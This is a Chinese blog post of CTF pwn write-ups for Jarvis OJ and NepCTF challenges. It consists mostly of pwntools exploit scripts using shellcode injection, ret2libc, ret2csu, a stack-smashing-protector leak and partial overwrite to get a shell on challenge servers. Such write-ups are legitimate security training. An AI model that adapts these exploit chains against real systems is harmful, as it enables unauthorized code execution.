Jarvis OJ pwn刷题_aca刷题软件-程序员宅基地

level1

#!/usr/bin/env python3
from pwn import *

context(os="linux", arch="i386", log_level="debug")
content = 1


def main():
    if content == 0:
        io = process("./level1.80eacdcd51aca92af7749d96efad7fb5")
    else:
        io = remote("pwn2.jarvisoj.com",9877)

    sh=io.recvuntil("\n")[14:-2]
    print(sh)
    shell_addr=int(sh.decode(),16)

    payload =asm(shellcraft.sh())
    payload+=(0x88+4-len(payload))*b'a'
    payload+=p32(shell_addr)
    io.sendline(payload)
    io.interactive()
main()

level3

重新做这个题弄懂了接收地址时以及p32,p64,p16的一些细节

#!/usr/bin/env python3
from pwn import *

context(os="linux", arch="i386", log_level="debug")
content = 1

#elf
elf=ELF("level3")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x8048484
#libc
libc=ELF("libc-2.19.so")
write_libc=libc.symbols['write']
sys_libc=libc.symbols['system']
binsh_libc=next(libc.search(b'/bin/sh'))

def main():
    if content == 0:
        io = process("./level3")
    else:
        io = remote("pwn2.jarvisoj.com",9879)

    payload =b'a'*(0x88+4)
    payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(8)
    #leak
    io.sendlineafter("Input:\n",payload)
    #addr=io.recvline()[:-7]
    addr=io.recv(8)
    #addr=io.recv(4)
    print(addr)
    #addr=addr.ljust(8,b'\x00')
    print(addr)
    #write_addr=u32(addr)
    write_addr=u64(addr)
    print(write_addr)
    #count
    libcbase=write_addr-write_libc
    sys_addr=libcbase+sys_libc
    binsh_addr=libcbase+binsh_libc
    #getshell
    payload=b'a'*(0x88+4)+p32(sys_addr)+b'aaaa'+p32(binsh_addr)
    io.sendline(payload)
    io.interactive()
main()

level3_x64

x64位程序调用函数一般应该使用万能gadget(ret2csu)控制参数
这个题ROPgadget中只能控制rdi和rsi,无法控制rdx,但由于调用read函数时rdx被置于0x200h,并且没有改变,rdx大于8,因此能够leak出我们所需地址,因此可以不用csu解题

这里练习一下ret2csu,

#!/usr/bin/env python3
from pwn import *

#rdi rsi rdx(0x200h) libc
#wn_gadget

context(os="linux", arch="amd64", log_level="debug")
content = 1

#elf
elf=ELF("level3_x64")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x40061A
pop6_addr=0x4006AA
mov3_addr=0x400690
pop_rdi=0x4006b3
#libc
libc=ELF("libc-2.19.so")
write_libc=libc.symbols['write']
sys_libc=libc.symbols['system']
binsh_libc=next(libc.search(b'/bin/sh'))

def csu(r12,r13,r14,r15,ret):
    payload =b'a'*(0x80+8)
    payload+=p64(pop6_addr)+p64(0)+p64(1)
    payload+=p64(r12)+p64(r13)+p64(r14)+p64(r15)
    payload+=p64(mov3_addr)
    payload+=b'a'*(56)
    payload+=p64(ret)
    io.sendline(payload)
    sleep(1)

def main():
    global io
    if content == 0:
        io = process("./level3_x64")
    else:
        io = remote("pwn2.jarvisoj.com",9883)
    #leak
    io.recvuntil("Input:\n")
    csu(write_got,8,write_got,1,main_addr)
    addr=io.recv(8)
    print(addr)
    write_addr=u64(addr)
    print(write_addr)
    #count
    libcbase=write_addr-write_libc
    sys_addr=libcbase+sys_libc
    binsh_addr=libcbase+binsh_libc
    #getshell
    io.recvuntil("Input:\n")
    payload=b'a'*(0x80+8)+p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr)
    io.sendline(payload)
    io.interactive()
main()

smashes

canary:ssp攻击(故意触发___stack_chk_fail,覆盖argv[0],输出已知地址字符串)

flag地址被重映射到了别的地方,可以用pwndbg search 字符串命令或peda find 字符串命令,找到重映射的地址

#!/usr/bin/env python3
from pwn import *

context(os="linux", arch="amd64", log_level="debug")
content = 1


def main():
    if content == 0:
        io = process("./smashes.44838f6edd4408a53feb2e2bbfe5b229")
    else:
        io = remote("pwn.jarvisoj.com",9877)
    payload =p64(0x0400d20)*0x200
    io.recvuntil("Hello!\nWhat's your name? ")
    io.sendline(payload)
    io.interactive()
main()

easystack(nepctf)

和smashes一个知识点

#!/usr/bin/env python3
from pwn import *

context(os="linux", arch="amd64", log_level="debug")
content = 1


def main():
    if content == 0:
        io = process("./easystack")
    else:
        io = remote("node2.hackingfor.fun",35241)
    payload = p64(0x6cde20)*100 
    io.sendline(payload)
    io.interactive()
main()

[签到] 送你一朵小红花 (nepctf)

知识点:
1.malloc开了0x18空间,而栈只有0x10空间
2.地址随机化,低位覆盖

#!/usr/bin/env python3

from pwn import *
context(log_level="debug")
while 1:
    p = remote('node2.hackingfor.fun',32045)
    p.send(b'a'*(0x10)+p8(0xe1)) # p16(0x4e1),由于pie地址随机化,只需覆盖地位地址
    res = p.recvall()
    if b"Nep{" in res:
        break
print (res)
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_42689613/article/details/115251118

智能推荐

以MapBox为核心构建Vue地图组件库教程_vue 省份 地图组件库-程序员宅基地

文章浏览阅读951次。不多废话直接讲干货,首先我们要清楚如何写一套组件库,类似于使用vue编写的elementui,使用react编写的antdesign等,我们现在要以GIS为核心写组件库,其实原理类似。一个是组件的主体vue文件,另一个是将组件局部暴露出去的index.js文件,当然你可以再此基础上增加你想要的其他的js文件和vue文件,上面讲的两个文件是必须的。这行命令可以将你写的组件库打包成压缩文件,一般是一个dist静态目录,在进行npm发布的时候也是将这个静态的dist发布在官网上。_vue 省份 地图组件库

【控制control】四足机器人弹簧加载倒立摆(SLIP)动力学模型_【控制control】四足机器人动力学模型-slip-程序员宅基地

文章浏览阅读4.9k次,点赞5次,收藏32次。系列文章目录提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加TODO:写完再整理文章目录系列文章目录前言1.动力学建模构型方法2.四足机器人动力学模型(1)多体动力学模型【针对躯干+脚建模】方法一:VMC( Virtual Model Controller)模型方法二:SLIP模型(2)浮基单体动力学模型【针对躯干建模】【用于MPC】前言认知有限,望大家多多包涵,有什么问题也希望能够与大家多交流,共同成长!本文先对四足机器人动力学模型-VMC、SLIP和浮动机体模型做个简_【控制control】四足机器人动力学模型-slip

html5手指点击速度,CPS手速测试 - 鼠标点击速度测试插件-程序员宅基地

文章浏览阅读1.2w次。CPS手速测试插件背景简介为了刺激客户的消费很多购物平台都推出来秒杀抢购的活动,在这个活动中如果你的手速慢就抢不到商品,所以有时我们会需要锻炼一下自己的手速,那如何知道自己的手速是快还是慢呢,在世界平均范围中又处于何种地步,今天小编为大家推荐一款可以检测自己手速的插件CPS手速测试。CPS手速测试插件简介CPS手速测试插件是一款可以在线测试鼠标点击速度的检测工具,它可以是1/3/5/10/15/3..._测速度插件

VLAN以及三层交换机_核心交换机如何查询vlan-程序员宅基地

文章浏览阅读2k次,点赞2次,收藏7次。VLAN以及三层交换机1、VLAN概述与优势1.1vlan概述1.2vlan优势1.3VLAN的分类Trunk概述三层交换技术1、VLAN概述与优势1.1vlan概述VLAN(Virtual Local Area Network),中文称为虚拟局城网。是一组逻辑上隔离的设备和用户。这些设备和用户不受物理位置限制,可根据部门成组等进行灵活划分,保障信息安全。同时隔绝广播信息,提升网络效能,防止广播风暴的产生。1.2vlan优势1. 限制广播域。广播域被限制在一个VLAN内,提高了网络处理能力。 2_核心交换机如何查询vlan

clearTimeout无效_cleartimeout不生效-程序员宅基地

文章浏览阅读7.3k次。如图所示clearTimeout接受id作为参数,所以检查一下是否传入的不是id因为默认情况下setTimeout方法是会返回id但有时候会返回一个setTimeout对象比如使用vsCode 开发的同学在使用setTimeout时会自动引入timer对象,此时setTimeout就会返回Timeout对象,此时只需要将对应的id传入即可或者直接将引用注掉..._cleartimeout不生效

安卓发送post请求_android post-程序员宅基地

文章浏览阅读1.6k次。在HTTP通信中使用最多的就是GET和POST了,GET请求可以获取静态页面,也可以把参数放在URL字符串的后面,传递给服务器。本文将使用标准Java接口HttpURLConnection,以一个实例演示如何使用POST方式向服务器提交数据,并将服务器的响应结果显示在Android客户端。在Android中,提供了标准Java接口HttpURLConnection和Apache接口HttpClient,为客户端HTTP编程提供了丰富的支持。将提交的数据写入Log\Log.php文件中。_android post

随便推点

HDU - 1272 小希的迷宫之独木桥(并查集的简单应用)-程序员宅基地

文章浏览阅读236次。小希的迷宫 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)_hdu - 1272

RAD Studio 11.2详解其务实改进(Delphi & C++ Builder)-Alexandria-程序员宅基地

文章浏览阅读7.4k次,点赞5次,收藏11次。● 开发人员生产力:“搬运式的复用”是一个特性。使用Delphi和C++Builder使得开发机构交付订单和市场需求的速度提高了5倍有余。● 快速的“原生”应用程序:操作系统本机的原生编译器,赋能App应用应有的原生速度(没有任何臃肿)。● 数据库访问:Delphi最原始的关键设计之一,就是将数据库访问完全集成到RAD Studio之中。● 强大的C++库:数百个C++库,可以在C++Builder中使用,或者在RAD Studio中的Delphi下使用。_rad studio

shiro@RequiresPermission校验实现_requirespermissions 校验的是-程序员宅基地

文章浏览阅读864次。shiro-spring借助Spring AOP特性实现shiro的注解式校验引入shiro-spring依赖后一定要注入AuthorizationAttributeSourceAdvisor以便借助spring aop进行shiro注解校验 @Bean public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) ..._requirespermissions 校验的是

唱响中国-红歌36首-刘和刚 - 好男儿就是要当兵-程序员宅基地

文章浏览阅读308次。歌曲下载/歌词下载:http://dl.iteye.com/topics/download/be412093-1ed9-3086-aeaf-e132ca9a1758刘和刚 - 好男儿就是要当兵歌词:好男儿就是要当兵刘和刚唱响中国-红歌36首当兵才知道帽徽为什么这样红当兵才知道肩章为什么这样重当兵才知道祖国的山河在心中咱当了兵才知道好男儿 嘿 就是要当兵当兵才知道过去的模样太放松当兵..._当兵的人才知道自己的骨头有多硬

探索iOS转场动画_ios 转场动画-程序员宅基地

文章浏览阅读1.5k次,点赞2次,收藏3次。iOS提供图像转场动画,可实现酷炫的转场特效。动画包括:溶解、折叠、复印机、闪烁、翻页、波纹、滑动等等。_ios 转场动画

Java 本地内存 & 直接内存 & 元空间_java 本地内存和直接内存-程序员宅基地

文章浏览阅读4.1k次,点赞7次,收藏26次。Java虚拟机在执行的时候会把管理的内存分配到不同的区域,这些区域称为虚拟机内存;同时对于虚拟机没有直接管理的物理内存,也会有一定的利用,这些被利用但不在虚拟机内存的地方称为本地内存。元空间不在虚拟机中,而是使用本地内存,JVM不会再出现方法区的内存溢出问题。..._java 本地内存和直接内存